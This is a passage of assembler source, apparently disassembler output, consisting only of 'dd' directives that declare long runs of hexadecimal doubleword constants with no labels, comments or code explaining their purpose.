		dd 0F9F4FE38h, 6989D700h, 0A0B3E320h, 373D0723h, 0D5512743h
		dd 8D9C072Dh, 0D93F1087h, 0C5003B67h, 5A29DD6Eh, 91F09Ch
		dd 32C13182h, 0F65FD28Bh, 158C7D18h, 4E9838h, 5DA35E2Ch
		dd 6889657Ah, 0B6A0A900h, 88294B4Dh, 116B61FBh,	0E48366DEh
		dd 0E200065Bh, 7E441E05h, 529CC1h, 2964E15Ah, 0E3600B1Fh
		dd 35C0471Eh, 0D33696C0h, 55579Eh, 7C58BA1Dh, 43D9E2EEh
		dd 49CE6200h, 0D4142054h, 64E4B2h, 0F26DA7B1h, 619A377Ah
		dd 0E00E0D03h, 9086BF9Eh, 76AA4127h, 79E200A4h,	7FF64F84h
		dd 0FB00B0F7h, 19631D57h, 0C0301FE1h, 6BE74999h, 320DF377h
		dd 78411B6Ch, 1FB2E0h, 0C034279Bh, 0A1F725EDh, 321E20ECh
		dd 708F8436h, 200BAFA9h, 44ACAE7Dh, 0FB470FD1h,	0F700D86Eh
		dd 8EFCD718h, 8DFA3000h, 7A525FB9h, 0E11F02C4h,	0D5D4504Dh
		dd 5AA253C0h, 0E02C4900h, 2684FEABh, 0B81A0065h, 0BF0C4363h
		dd 0B900709Ah, 57E07424h, 1F2442Bh, 92CDA306h, 609DFCE2h
		dd 9600F4B5h, 5FB803C1h, 3B554FBFh, 0F80C9C7h, 0B51F216Bh
		dd 0F4008B88h, 0AD4D33C0h, 728FE517h, 0CBBB503Bh, 7644094Eh
		dd 0A02037A2h, 614ABAACh, 75289D01h, 0F696636Eh, 40AC30h
		dd 51CC8988h, 2A048D2Bh, 0F5BD4600h, 0C852FF5Ch, 0EDC7930h
		dd 3F6165C5h, 0E0430D60h, 9B008ECFh, 1799381Fh,	5F48DFh
		dd 0F9A3AB29h, 24A1F536h, 0E2765C02h, 409C2C58h, 0CD576Dh
		dd 22F6AEC1h, 974B4F6Bh, 0EE6DC300h, 5296DA42h,	0D980039h
		dd 1AC48410h, 1D3A656Bh, 0E4E200D6h, 98CA0314h,	3CBB77C0h
		dd 0C10088ADh, 290FA641h, 77014F2Ch, 0AE63CD82h, 0D0D3F2A4h
		dd 0A74330h, 0CB6DA533h, 2DA1EE03h, 3B8C0600h, 0C8C414E7h
		dd 61E5000Dh, 3E936E1Eh, 5F0026F9h, 901A15CFh, 1E048E6Ch
		dd 80DB6AC1h, 13A87EBCh, 0BE0FF7F1h, 0C4E38A80h, 0D0E89305h
		dd 4A0FBD00h, 2DCF64C3h, 0AA529660h, 305BB0h, 0EF6AECCDh
		dd 0D8CE7103h, 8DE3BE00h, 0DEFD14B8h, 0A9E20F3Dh, 0FE839C90h
		dd 2DC0A499h, 0C1DD1EDh, 0EE00272Fh, 0AC09AA6Ch, 97811EBBh
		dd 966E0Bh, 0B4A1A584h,	0B3009EBCh, 0EC0FC19h, 56DFF4h
		dd 18139D26h, 0A0AF89A4h, 68007BEAh, 0FD1D928h,	7219D4h
		dd 0F190B676h, 0EBC23A2Dh, 0E9AF0D00h, 6D52EE09h, 89320E01h
		dd 4020C77Eh, 8B94384Ch, 466B700h, 6D36B309h, 718000FBh
		dd 0FE2058C7h, 300056F5h, 0CCC15E1Fh, 3C380ABDh, 0F61426h
		dd 5F437202h, 0C53C7685h, 0F1D17A00h, 0C8B0D96Ah, 77B100F2h
		dd 4A82A2E7h, 92754F89h, 3030490h, 0BDB9E37Ah, 3115909Dh
		dd 4B5702C6h, 637866D5h, 0EC4674C8h, 5F443D00h,	9419CFF8h
		dd 9599015Eh, 12AE2587h, 7A2330E2h, 0FF8E4200h,	9EA8E70Fh
		dd 18B100ACh, 7E16266Ah, 0F4009CECh, 0C33C988Ch, 0EBD77Ch
		dd 0ABD0A378h, 0E1755DCCh, 50509E4h, 0D785DA0Bh, 733001C7h
		dd 62B3046Bh, 56B141E0h, 0A3B61A01h, 5ABA5030h,	0E41C0FA2h
		dd 63B97FA0h, 4B72ADA1h, 37C15701h, 3A81E0E6h, 0F4F1EE70h
		dd 0A40F0BBEh, 0BC0072DFh, 3673656Dh, 43197B00h, 6EEC455Ah
		dd 59F2C4h, 0B121E75h, 39D6D1B9h, 0AB1B1F05h, 3E809B6Bh
		dd 0B062253Dh, 1DE11CC8h, 0DA30C1BEh, 200FC0B5h, 0FC0774D3h
		dd 51808B8Dh, 0EF1EBF00h, 0DBD700E5h, 0BD1C4926h, 0B000D3BAh
		dd 9C74EE1Bh, 4F723h, 0DF73F33Ah, 0C4E6161Fh, 2E247801h
		dd 1386285Ch, 2A123880h, 0CE7B9EFCh, 551AA300h,	78E95B5Fh
		dd 4ED90016h, 26CB8771h, 0D400341Ch, 0B04D66A1h, 50ADB617h
		dd 14A4F7h, 0DE105629h,	7CBD7A74h, 0ABF3BA01h, 7531D64Ah
		dd 4A511C0h, 0C1A48E21h, 5B5CD3B2h, 2631C680h, 8C0017F8h
		dd 0F0446795h, 5C76B2A5h, 3015873h, 741E143Ah, 693860C0h
		dd 98567104h, 60C09F28h, 1EF4A619h, 40D68F53h, 0DD9257F3h
		dd 0D000B1E9h, 0AA49E162h, 9AB8B6h, 0CC343DC9h,	9E791C22h
		dd 1654691Fh, 0ED7280B9h, 57D27E70h, 18B0B2h, 0C9210B0Ch
		dd 0C3588D88h, 0DE5Ch, 1AFE90CFh, 163213BAh, 1F7C5404h
		dd 0A4A50064h, 0F0799753h, 46408400h, 0D932EE3Ah, 0F8360041h
		dd 0A7A0959Ch, 0F33EF067h, 9E24812Eh, 0A1410BF5h, 0BCC49AF1h
		dd 0B8CB812h, 407D8B20h, 0A8930081h, 0B250604Fh, 8C0CCE0Ah
		dd 0A18284D3h, 0E02E2292h, 38402148h, 0D98123ADh, 7AC155FBh
		dd 80B2C869h, 0C7EE4200h
		dd 754A0CF4h, 0B25676A3h, 98E60018h, 0BCF28F88h, 9B7C0BB4h
		dd 0C181400h, 85C8B224h, 2B8712F7h, 37100097h, 5ABFD0A5h
		dd 0A30BE004h, 70830178h, 0CC0C581h, 48AF696Bh,	0F1006B2Ah
		dd 9A0378EEh, 0EF00CFE3h, 0F9C6A175h, 7734318h,	0AE6F04E4h
		dd 0EEB57199h, 913720B7h, 6C597719h, 63F82B96h,	7EF90067h
		dd 295F04Ch, 40C0FAA7h,	117603D3h, 0B9550122h, 44BDA2A1h
		dd 0D1A7DCF8h, 0DB751800h, 8102C584h, 0F3741C5Ah, 4A544179h
		dd 0D4CD13E1h, 0D507051Ah, 0A18F2437h, 0A709E3B0h, 0B0BE3FACh
		dd 140C0072h, 128138F8h, 0BC9871CBh, 0EC0F1F00h, 5EF67B8h
		dd 291C002Fh, 92B49EE1h, 530004EDh, 0E3EE0C58h,	3F7568h
		dd 41CEC73Eh, 0F0892349h, 94008D7Eh, 2B78A836h,	9862B45Fh
		dd 0AAF074h, 7BDD40C0h,	3C1E500Fh, 0D93B271Dh, 0AD308744h
		dd 0ACB8A80h, 0CDE101F7h, 607EC3EAh, 5C50E83Ah,	8A0E7C00h
		dd 0F821E8D0h, 0D12300AAh, 0A2A9549Eh, 7B4804BFh, 867F0050h
		dd 494779FBh, 2FED003Fh, 0E39748D6h, 8C0391A9h,	0C92B6DA8h
		dd 603ED217h, 7730265h,	909CA587h, 2C6AC0CFh, 44B8C245h
		dd 0EC7B5109h, 2350003Fh, 2654C5FAh, 0B877DBh, 25A11142h
		dd 0EF1856CDh, 819BF98h, 0F09B5DE2h, 8D9D1701h,	0CC694587h
		dd 0CC98E856h, 9B53Ah, 506E3BF7h, 0AAA42h, 0CE39A2FDh
		dd 0DA2FC14Dh, 0AF538D00h, 901BA11Dh, 0EE8F0069h, 0A8B9A5E7h
		dd 0E898359Fh, 0BE9AB600h, 32945A82h, 0EDB70C9Eh, 0C689998Eh
		dd 0DBFB4704h, 65C04D6Eh, 1D57F9h, 94A75A80h, 41CD17D9h
		dd 0C007E07Dh, 14FE52D4h, 0F51545B0h, 27CB03FFh, 0A0A6DA4Ch
		dd 3B58B390h, 0A3D02318h, 7FB549h, 83E1F69h, 1B749490h
		dd 4DAC1000h, 0D0F1BF79h, 4AE0E08Eh, 54800035h,	0D32ED5Ah
		dd 56BA280Ch, 5038491Ch, 59649544h, 3C01640Fh, 244D238Bh
		dd 0D307D028h, 1D83C702h, 61BFFD3Bh, 7DE49208h,	0F81A0022h
		dd 0DA17FE51h, 0F0002644h, 2DCE65F2h, 0B85F0EC4h, 25948005h
		dd 0C5D90099h, 0E4EE3534h, 48C0C18Ah, 97881FCFh, 9BB5A318h
		dd 80F99ABDh, 0C03D8F8h, 75DF03EDh, 52012548h, 6ED7690Ah
		dd 5E0CB87Fh, 3E8749B4h, 85019218h, 5CA5A8F0h, 954C2047h
		dd 8FC2720Bh, 0CB1C01CAh, 0E5D012CEh, 5AF52A18h, 61409880h
		dd 0C6850BAh, 1814384Bh, 1921511Eh, 437116FDh, 568300C1h
		dd 0C54879C6h, 9CEBE0C4h, 5B91DB23h, 20BD44C7h,	0A646AA30h
		dd 348D849h, 0C3F7F8DCh, 0F66DB893h, 0A47B0240h, 80883B5Ch
		dd 5A90D480h, 3C0030EBh, 0C08E64DCh, 71C6589h, 27AD52A8h
		dd 0FAF870C9h, 6700F1A3h, 36C2DF2Dh, 1EE063BBh,	408C2668h
		dd 80481752h, 891D2595h, 0F180CDE7h, 0AD927D85h, 0CA41C060h
		dd 0B61B5B20h, 0A8584D00h, 0FCB2255Fh, 0D2082CE9h, 0DBFA0088h
		dd 0B5D8C6F2h, 58C0DEF8h, 0D77F6498h, 0A6C302B4h, 0CB05E26Fh
		dd 6AAB8481h, 82E9BFB2h, 998142A2h, 8B84A97Ch, 3681012Ch
		dd 0A0DB5E9Dh, 465C62h,	97E1648Eh, 0B24D1EC1h, 58C2E8A0h
		dd 9516E5ECh, 0AC0F157Eh, 0A3FE032h, 8CF6FEh, 0C85271C1h
		dd 65DDC7E4h, 0AC915706h, 44178B8h, 0B9704715h,	6D688046h
		dd 0D000E4E2h, 887873EBh, 866830h, 0B80B138Ah, 0C3C31E5h
		dd 0B611F000h, 20286791h, 0E2F41745h, 0D7D300BFh, 432D418Dh
		dd 33881200h, 0DC75AF1Bh, 66D30080h, 0BCDAD49h,	27901D28h
		dd 1C2C7C7Dh, 31005882h, 0F7727E41h, 78380094h,	0C1CFE7BEh
		dd 2FEA3C02h, 738FB50Eh, 0FE7420B1h, 0C1D8A059h, 0DEACBB38h
		dd 561AE496h, 7D791200h, 0F5572F1Fh, 27F5Dh, 9C4799CDh
		dd 70D962CAh, 0A042CE28h, 28F5C10Bh, 0A3C002Bh,	0C06133h
		dd 0B63B778Bh, 0CFACC9C5h, 2C521100h, 0FA7AC6AAh, 1EDC09D3h
		dd 0E001644Fh, 703260FCh, 3700543Ch, 4CA8B35h, 2CA2EDh
		dd 5F423065h, 0D7A5A1A7h, 0E1004190h, 0DB9FFB01h, 31333Fh
		dd 7219BFFFh, 7FBBB16Fh, 0D2CBB800h, 0AFD4811h,	2FE40016h
		dd 4DFCFAC1h, 10122E17h, 7C007020h, 1ECA52BBh, 3150063h
		dd 0ACE1CC21h, 750B7F3Bh, 2044C0FCh, 19633228h,	0DE9B0038h
		dd 7841ABA6h, 46F8F3FBh, 0BD99403Dh, 17759FFFh,	1C0F2456h
		dd 941A403Fh, 138EEF6Eh, 47906A2Eh, 951C8B1Ch, 2E3387ABh
		dd 0F5323D00h, 1AE09A23h, 5FAA030Eh, 798E001Ch,	176E296h
		dd 1B38C3C0h, 0ECBC9249h, 0FFECE9Ah, 0B43B6F26h, 0A028E589h
		dd 4619EFDCh, 49D8A005h, 0E77873h, 0B76E63B8h, 95653907h
		dd 0B2CB500h, 4FB1C552h, 9D1100E7h, 5FB968EBh, 4907BC79h
		dd 966CD46Ah, 0FBE46070h, 0D6BB00FFh, 0E34BEB5h, 0A39861E0h
		dd 5EB30B13h, 0F93D2800h, 54567439h, 249DC41Ah,	82CC68EDh
		dd 1CA8CF9Ah, 0B6406A40h, 373622Dh, 872924h, 78C65044h
		dd 0ACA6DFF8h, 9246AE02h, 0C68EF313h, 2F682380h, 54C97B00h
		dd 1BF7320h, 0F31A4BFBh, 20A8BDD3h, 614C175Bh, 272B8E0Ch
		dd 0A12118F8h, 64EC8981h, 0CF240985h, 1480C89Eh, 0DD3882BAh
		dd 63D0EF01h, 90F9788Fh, 0AC0A0431h, 70ADD800h,	0B51A31E2h
		dd 771CA000h, 72B0C793h, 8C66E7B9h, 98011500h, 0FEBA25E7h
		dd 204C8059h, 5B9B0218h, 0AF234D3h, 0BD1B6440h,	94B05376h
		dd 0B63D167Ah, 17A50097h, 10368E7Ch, 40EA3714h,	3323B0D0h
		dd 7F008165h, 9DD28313h, 30F2F4C6h, 93E8DD4Dh, 170EFB7Ah
		dd 5821D3FDh, 150C178h,	428E0C52h, 0C8C5EA2Fh, 0E9024EA5h
		dd 8C28119Eh, 4998A07Bh, 7EF2C4B3h, 0FCA50080h,	93F745D2h
		dd 2F485B6Fh, 9CB20FD0h, 882C36CBh, 64A1B38h, 0ADD89674h
		dd 0BA0B736Dh, 14673668h, 48894A0h, 80663D0Ch, 291E5834h
		dd 2383A900h, 0BD4C647Bh, 0E5CA0077h, 0E0C75FFAh, 1200A375h
		dd 6C53AF29h, 0B402711h, 5228BFD6h, 0F5782480h,	322C1F38h
		dd 0DB96C0B9h, 0FAABF400h, 2127D9h, 0C92E2F86h,	4CC7C267h
		dd 0ED103B00h, 73ADBCD5h, 280B86Eh, 0EEAA9C8Ch,	24C869A2h
		dd 230FB4CBh, 801A8ED8h, 0FE98B6BAh, 2C220B64h,	0AC239459h
		dd 0AFD861F4h, 1E00CBE1h, 0D5127F47h, 0FCB8B1ACh, 3EDC0501h
		dd 484FE21Ch, 0C86114CCh, 0C0505D2Ah, 58FA6Ah, 0DFCD3E94h
		dd 0F0044918h, 0F5830B0Ah, 0A26ED427h, 8719058Ah, 0B1E47CF8h
		dd 0BFAD644h, 0FC4449h,	63BCA357h, 0EFCE29E5h, 0EBFB6B00h
		dd 23A20B6Fh, 0C65300C5h, 32463CE2h, 0F2251706h, 2D60825Bh
		dd 0C22E20BDh, 10CFD349h, 39DE2385h, 0B7D2C8C0h, 4CEA5DD6h
		dd 10952012h, 8009CE6h,	0CAB84AA6h, 820FE921h, 232CA334h
		dd 884B547Bh, 0CB1C8BDh, 0CC40AF86h, 0AC903C40h, 9351A703h
		dd 80F1BB0Fh, 1195975h,	0D26ED1E1h, 0F84484C1h,	0CA0723ADh
		dd 51EF5853h, 0F4792FD0h, 1267C28h, 34480704h, 0F05D97F6h
		dd 33018481h, 7DA141C7h, 40F6BB11h, 7FF8F4BDh, 38D6EC90h
		dd 43809557h, 0DCD42868h, 4600C2AFh, 6609B224h,	0EB7B4Dh
		dd 719DFDE2h, 5831473Dh, 0B9006099h, 7A49D885h,	151E00DFh
		dd 54942461h, 5F001D9Fh, 86260F08h, 74137AFBh, 689C0F63h
		dd 0FAC42BBCh, 0CE04C234h, 0A7005858h, 0E49B719Fh, 77D58EEAh
		dd 0EE3B28C9h, 43CA00E8h, 412E62Dh, 860029BCh, 0B07F8BF3h
		dd 8784A4h, 0D5D06857h,	7EBB544Bh, 89EFB407h, 4153F28Fh
		dd 0CF67E0DCh, 0D2910461h, 8028518Dh, 12175487h, 3CE0F917h
		dd 0D0F2BCC2h, 15B084h,	94371C8Eh, 293F42E9h, 8A0F9B0Bh
		dd 863C2403h, 1DA1CA4h
		dd 50B46918h, 2002485Bh, 585C6668h, 276100A4h, 0F9036B47h
		dd 0FD3C0110h, 85322289h, 0CA91FCA9h, 0C46CA600h, 0B4752BC8h
		dd 3B4D0059h, 0CE6A57CBh, 330749FCh, 0B8E479DCh, 7EA7AF1Eh
		dd 8044F08Bh, 7CCF035Ch, 0D5C21302h, 0EA770001h, 0E1739624h
		dd 12A46105h, 5488A5F8h, 0CA9705A3h, 0B058980Ch, 0DA243F6Ch
		dd 4A80F46Ah, 0FFE90B49h, 6E130B0Ah, 230096F1h,	0DE6C4729h
		dd 4C680600h, 49E02E6Ah, 45200CEh, 0F77EAEFh, 5100A81Ch
		dd 0C998F1BFh, 18FCD11h, 883B6B63h, 0F4C07B95h,	1F00DB7Ch
		dd 3242FCB8h, 0A65328h,	0A9444E03h, 0CAD2D815h,	184C548h
		dd 0FAF7CEBBh, 6C6218E7h, 96757039h, 0B36300F4h, 21234C6Ch
		dd 0C086D704h, 0F0B28AC7h, 46E415C0h, 7C4D822Ah, 83783A1Ch
		dd 0E0FB20DCh, 0C8D3F028h, 0D8EB12A2h, 25A0079h, 6B6D4B2Bh
		dd 4E4DF301h, 93AB1D95h, 3E56E0E6h, 13BB778Ah, 6039B3D0h
		dd 0CBDE6BC4h, 9EC99A1Ch, 5701384h, 0C1E41492h,	0CC4A0A4h
		dd 0BF389C09h, 3EE15C8Bh, 0AE9E2403h, 0F5C72B81h, 0C8A0F278h
		dd 7D65D2DEh, 0A4FC5E00h, 16862798h, 0BDA33B13h, 5AEA7207h
		dd 0A15280ACh, 0C53CF92Ah, 0A8C82644h, 0B450F2E7h, 4250567h
		dd 9FED3DD0h, 2B58C861h, 7F4CC8B0h, 1F3413E4h, 320F4880h
		dd 72CAE64h, 934D0EFEh,	598A329Ch, 6A3A9CC0h, 38561030h
		dd 0FCE0E433h, 7E26E06Ch, 0FC8E59BAh, 0A8349D07h, 68AFBE1Ah
		dd 0E033409Eh, 52CDCA9Fh, 8C61BE2Ch, 23B6489h, 7D8AED0Eh
		dd 21443D01h, 4BBDD804h, 0A854E500h, 0BAB49EE2h, 5CA52EBBh
		dd 16190038h, 897B53C2h, 292C0459h, 1141305Bh, 3C021D6Bh
		dd 0D0202C71h, 0F0A1E300h, 1C1F3F18h, 0F59C07C2h, 0B116CEBDh
		dd 0C88A54E4h, 54B62504h, 0A5B3F8B0h, 1EBC021Fh, 0D6971524h
		dd 0B0600BC0h, 82AA403Ch, 0C4822845h, 2634C14Ah, 3D97EFDCh
		dd 10803EB3h, 0BE9CAEB8h, 0D5006914h, 93F9F6FBh, 0E6B6534Dh
		dd 67A70F45h, 6940A625h, 68364302h, 68A048h, 0F1F3A4Ah
		dd 908A19D7h, 6CE900A8h, 0CA95B8BDh, 3800343Ch,	39A3B594h
		dd 9EA779Dh, 6E236FA6h,	89F44807h, 5E091CC5h, 35582496h
		dd 0DB6CC9h, 0E5D71920h, 0A147ADBFh, 23856100h,	1167442Bh
		dd 5FB70095h, 9737FD2Fh, 0EE0021DCh, 0F4B9791Eh, 0CE47AEh
		dd 6CE8489Dh, 0ADF1617Eh, 0D445A700h, 0AD34C44h, 0C67415h
		dd 62BE8A40h, 80948ED9h, 0F5C07C00h, 64E44296h,	9C63013Ah
		dd 0E7C31567h, 0A9506074h, 4BD4C149h, 0BA0D2C07h, 0DFEC3560h
		dd 635D14A7h, 0D01DA6A3h, 2C05815Fh, 8046A9E6h,	62878B20h
		dd 9EAC17h, 391F9957h, 225AC781h, 0F0454900h, 2C2B555Fh
		dd 1DF80073h, 1210E08Eh, 0BB4DB618h, 650C0084h,	934A43E2h
		dd 160D1D53h, 90288FA0h, 586FB420h, 0E6008AC6h,	0AD6E93CCh
		dd 7F5CFF1Ch, 0F64B43Eh, 41400BC2h, 0D0E94E09h,	580E7CFCh
		dd 3EDEFADh, 0A82A3638h, 397BF2h, 96E39F8Eh, 0BD2F3D5Ah
		dd 28F8F3E0h, 0DD86E8FFh, 66733F04h, 1C83E623h,	5085EA9Dh
		dd 0ED6800D0h, 1F72DFFDh, 0D200383Fh, 333EEB54h, 1918731h
		dd 223476C7h, 252D3A98h, 8A0EDC08h, 0EBC27A00h,	53D79590h
		dd 0DBA0260Bh, 54670135h, 24BAE806h, 770007ECh,	0B93F929Dh
		dd 83FE66h, 0AF400514h,	351E865Eh, 88373A09h, 94A421D5h
		dd 206074DBh, 1CBF0B4Fh, 6400B65Fh, 4C8D01F4h, 20273230h
		dd 5092DA4Dh, 31DD66h, 0B7ECE6CBh, 463EA489h, 0FBA82300h
		dd 1A05A335h, 10C30007h, 0B1C12F14h, 0CA4A8BD7h, 0CEC28005h
		dd 70FF3C04h, 0B0616300h, 8400686Ch, 731DB3B9h,	310D662h
		dd 4EED89CFh, 40B0ADBEh, 0EA1D1775h, 0BC00D5EFh, 57D93CFBh
		dd 7A7B0F5Dh, 0C38012DEh, 0AD1BB2F4h, 3BE60AB8h, 67B04B8h
		dd 61117600h, 0DBBDD810h, 4046006Ah, 0E9037835h, 0B0000862h
		dd 93158923h, 0CEA0F7h,	0E09DEB38h, 0BB8E4666h,	1F6F6000h
		dd 9AE75CBFh, 0E3E100FFh, 0DED81917h, 3828303Fh, 400B4F9h
		dd 154972F6h, 0B26720h,	0A9E43E16h, 8F01DB99h, 35CAA00Fh
		dd 0FFC307A5h, 4CDEB6B0h, 0FE3900CCh, 0AD98357h, 700F99Fh
		dd 72C6086Eh, 0E3B7C41Ch, 9E00EECh, 87D88247h, 3A530C80h
		dd 1B00D622h, 0C3FA75FDh, 7384C9h, 0B1F35DB7h, 2517115Ch
		dd 7AEB2B00h, 0BEC6B371h, 7F790F23h, 0E800CCEh,	0E7965118h
		dd 2F8D8300h, 5FBDDAF9h, 0D2362727h, 3B651880h,	0C0019DBh
		dd 99DCE5EDh, 0E22E9162h, 0E0955C7Fh, 3C3E3B00h, 0F8D27C32h
		dd 0DF057098h, 0FA9F1949h, 1315880h, 53410F4Eh,	0BACE3D55h
		dd 9CC3F2A3h, 0CE37C907h, 91D59B4Ch, 0C05E90E0h, 0FE69F1D9h
		dd 0BD02C8BFh, 981FAF82h, 7A90F0BBh, 68E31F46h,	0A2B20069h
		dd 2E8A7A1Eh, 592E80Ch,	25CBC8DBh, 3C919750h, 35C51033h
		dd 0C5B029h, 0C7EFCAF3h, 1E56E2E4h, 41BC960Eh, 47E100D7h
		dd 90335A24h, 0FBD200ACh, 3E1914CBh, 0AC71E099h, 0FE7D4807h
		dd 651315Dh, 0A330DD9Ah, 6F7E0209h, 4D4AC6F2h, 437C00F8h
		dd 0A8E29807h, 0C2F18B96h, 0B17AF377h, 28D8C434h, 1E16D000h
		dd 8CA7BA43h, 52860F1Dh, 79807464h, 737BD71Ah, 0EC05547Ah
		dd 0F47AA412h, 0FF5EA400h, 808AC002h, 2A01325Bh, 7DF503BEh
		dd 8CF4EC42h, 559F28DBh, 498197E1h, 30D6D30Dh, 0BE07BBEEh
		dd 5861CB86h, 2C91497h,	607E395Bh, 283795CAh, 1A4C921h
		dd 52BA3E1Fh, 70F1670Ch, 6302C2E7h, 2FC83256h, 17A0769Bh
		dd 9F910E1Eh, 0B42183FCh, 409728E9h, 4370EFD6h,	0E750C300h
		dd 0CBFADD13h, 57CF278Dh, 0AE3A7C66h, 8137BEC4h, 75E0C69Ah
		dd 71DCE340h, 0E90A0085h, 1D55823Fh, 0BE1F6054h, 8E4046E8h
		dd 0DC3EAFEFh, 9F8700A3h, 0F68201B1h, 50019454h, 37316C0Dh
		dd 61CCB9D0h, 0B8C100E6h, 9022F463h, 2778CFA5h,	9F905F7Ah
		dd 6D2D7E12h, 3759B600h, 923F536h, 0CD66BBD6h, 1A3260A0h
		dd 55007EA0h, 6A5C1062h, 749303h, 0A6A90A1Dh, 41CA8442h
		dd 3CF8DC00h, 0DF4C7AC1h, 0C3F170C9h, 1DE02878h, 0EB9AE580h
		dd 3F5DE379h, 5167131Ch, 3AE7BC00h, 5D32DDBh, 274AFF7Ch
		dd 2EA0D239h, 1BA3C840h, 54007573h, 58998D42h, 0FD31CEh
		dd 98FF6A03h, 0E032C9A5h, 0B363C1Eh, 0B6344740h, 5E1715Fh
		dd 7969E675h, 0AAC780DAh, 8000189Ch, 1DFBA2DEh,	16457CF0h
		dd 3D67F6h, 65A9CB3Ch, 99008CB7h, 774EB284h, 0E23AD2Ah
		dd 9D68A135h, 0D4016FE0h, 0F907991Dh, 0D948F16Dh, 3297DD01h
		dd 2BE3E1h, 4F195598h, 25003FE1h, 0E28D295Dh, 277B653Bh
		dd 0E0484E6Eh, 561CB367h, 0B680C1CEh, 25A6A0F1h, 0A08976ECh
		dd 121B2280h, 53DCD5h, 8B7768E1h, 0E800B231h, 35FA0C5Bh
		dd 0D9820h, 0BD638CE3h,	0C22F86ECh, 86D290Fh, 971F8033h
		dd 0EAC959h, 0EE80B446h, 2A175456h, 68D8E125h, 25DEB8E4h
		dd 5002BEFAh, 13E00BDBh, 0D4E697D0h, 782BD807h,	4080DE8Dh
		dd 0DF94CAh, 74925D75h,	99037920h, 0A950249Fh, 1B4C14B8h
		dd 0F1149A00h, 0F097A63h, 26A8CA00h, 0D73AEA16h, 7140B012h
		dd 0A4A11817h, 6FAD5853h, 835FD627h, 9018AF44h,	120ACB32h
		dd 1B76B7h, 405AA284h, 1A12780Ch, 34E0F3E7h, 237D038Ah
		dd 1D957510h, 0CF112828h, 0A9A1238h, 0F09DDC93h, 0A0A61A04h
		dd 1B7B9CD0h, 4BB501C1h, 0E436DA68h, 1FC0200Bh,	74ED2800h
		dd 7953F86Ch, 13C93DA0h, 0A7E2037Dh, 0B94C7863h, 3D8C80A4h
		dd 8700BECAh, 1D2E21FCh
		dd 0F4A4770h, 0A79F963Ah, 0DD6B58E0h, 0B01C84BCh, 73814430h
		dd 239604F6h, 3AD01DFCh, 3484D963h, 0FC02D759h,	0BCA600CCh
		dd 289CBEE4h, 247274A0h, 3C08581Eh, 85B9D39Eh, 0E07D9B4Fh
		dd 6014A90h, 4DDD36EAh,	2864DC32h, 0FC6B17ABh, 9A9080EFh
		dd 4C3EFFF9h, 968E008Dh, 16716B8h, 79AF130Ch, 0A77802D0h
		dd 0C4003BB4h, 3F184117h, 0AF00DD2Eh, 854CD745h, 0C790AEAAh
		dd 0D97A6500h, 105AB41Ah, 8CD100D4h, 7D07406Fh,	254CA2A4h
		dd 15160010h, 44432EFCh, 0AFA11241h, 1E304073h,	28F40154h
		dd 0F0C83304h, 0C0AC8263h, 4F81E43Bh, 8079B234h, 45177059h
		dd 0F40154B8h, 0E8088CD8h, 6BF80FA5h, 64BE4C1Dh, 95F93300h
		dd 74997839h, 0E7608197h, 0CE0142FDh, 829805Bh,	8FB7FACDh
		dd 24EE94h, 0F8168A34h,	0F217AE6Bh, 41B30200h, 569340D3h
		dd 0F04200FEh, 0AFB6CDBDh, 6A001864h, 82F4E59Dh, 0F6D8F5CBh
		dd 310900BAh, 5884261Dh, 0FC2505A4h, 8608027h, 50674628h
		dd 788BECECh, 961F007Ah, 0B972B4CBh, 0E477F3E5h, 0AED71900h
		dd 1C436BC0h, 0EB78C7C6h, 2F29B13Eh, 2B4AE026h,	7E88084Dh
		dd 80FF5427h, 9238E240h, 20311827h, 50FC48A7h, 2B38029Fh
		dd 3D26605Eh, 8EFF0057h, 62D03022h, 3600F2E2h, 0EC5FB973h
		dd 52586Ah, 0AAB518D1h,	0BD897516h, 8344BA00h, 0DC1932B2h
		dd 794E00FFh, 49E1A596h, 542DC480h, 0B474C9h, 2CFC7C4Dh
		dd 8600D821h, 0C2452ADEh, 68EE867h, 9A98F2DCh, 0B0032861h
		dd 0F8A392B4h, 910598C8h, 0AF94A82Ah, 0C48491Eh, 0FD14B700h
		dd 5A7039FAh, 72BC1800h, 0BFC095DEh, 7CC72428h,	0ABAD00BCh
		dd 0AFE3295Fh, 0F10B1700h, 0C80E9499h, 4527014Fh, 7B3F6D77h
		dd 84BC28CBh, 31002F39h, 3763BF51h, 6E42FC0Fh, 53552045h
		dd 0E09444A8h, 8CAC007Dh, 91C05D96h, 3209EE38h,	0DAC44FD7h
		dd 2EE200D8h, 0DF6133CBh, 0E0909CC7h, 1D915900h, 0ADF58C7Bh
		dd 31CA0048h, 5D5F057Dh, 2000CF81h, 0B2D6CB15h,	1FAEC24h
		dd 644E1651h, 50A4AE82h, 54E61F84h, 0A9E7A318h,	0BA3650D0h
		dd 7209006Ch, 85C0C846h, 0F700B76Ah, 61FFC39Eh,	1FC52ED4h
		dd 37170FBh, 62E68ACAh,	9AF037F0h, 0ECCFCD24h, 7059030Eh
		dd 53EED500h, 0FDBA9FA6h, 1C256B05h, 0F580E0C1h, 90152E51h
		dd 0B00B1433h, 2200C84Ah, 0F6446CF8h, 0A0A03B17h, 987918FBh
		dd 0C19CA01Ch, 6B1D9240h, 95FBEB6h, 0CF235F9h, 7000A0F8h
		dd 605EA324h, 9CC2BF3Fh, 51B98014h, 1645C39Fh, 7491200h
		dd 30CE339Ah, 0A7C80FE2h, 0CD80F810h, 0BB71DC77h, 8B003771h
		dd 0C85CB01Eh, 168C5h, 98058985h, 0A8E6D9B3h, 8037743Dh
		dd 0EC427E09h, 27F78104h, 34808915h, 94587BE5h,	605B7D72h
		dd 5AFFF403h, 0DD88883Ch, 2D9000A6h, 0D37D0603h, 0DA006AA7h
		dd 0BA04CB76h, 21E6816h, 0C5B31762h, 0F18039CDh, 88F3567Dh
		dd 0C30B61C5h, 0E589B880h, 0B6F7BB8h, 0A694D49Eh, 990FA08Fh
		dd 6781BA0Fh, 34F0744Bh, 4F7071E4h, 0AA20B300h,	0A9C8A7A6h
		dd 9EFF00ABh, 0C92A883Eh, 0BE003406h, 0D62BFBAh, 70C0A6C7h
		dd 0F6F107BCh, 0F497110h, 9E9177E0h, 9500638Dh,	8637AD4Fh
		dd 78EBEF4Ch, 79151825h, 0F30430F0h, 40A92A71h,	0A8F1074Dh
		dd 8880A9A6h, 0B97A7B5h, 389A2906h, 8AB7AF00h, 0E1D0427Ah
		dd 0C33B1FDDh, 98003982h, 771BCDD2h, 0C7004885h, 69C68829h
		dd 0FBEE5DF5h, 2C7896C0h, 1EF8B26Fh, 80C1DD38h,	7DA521BFh
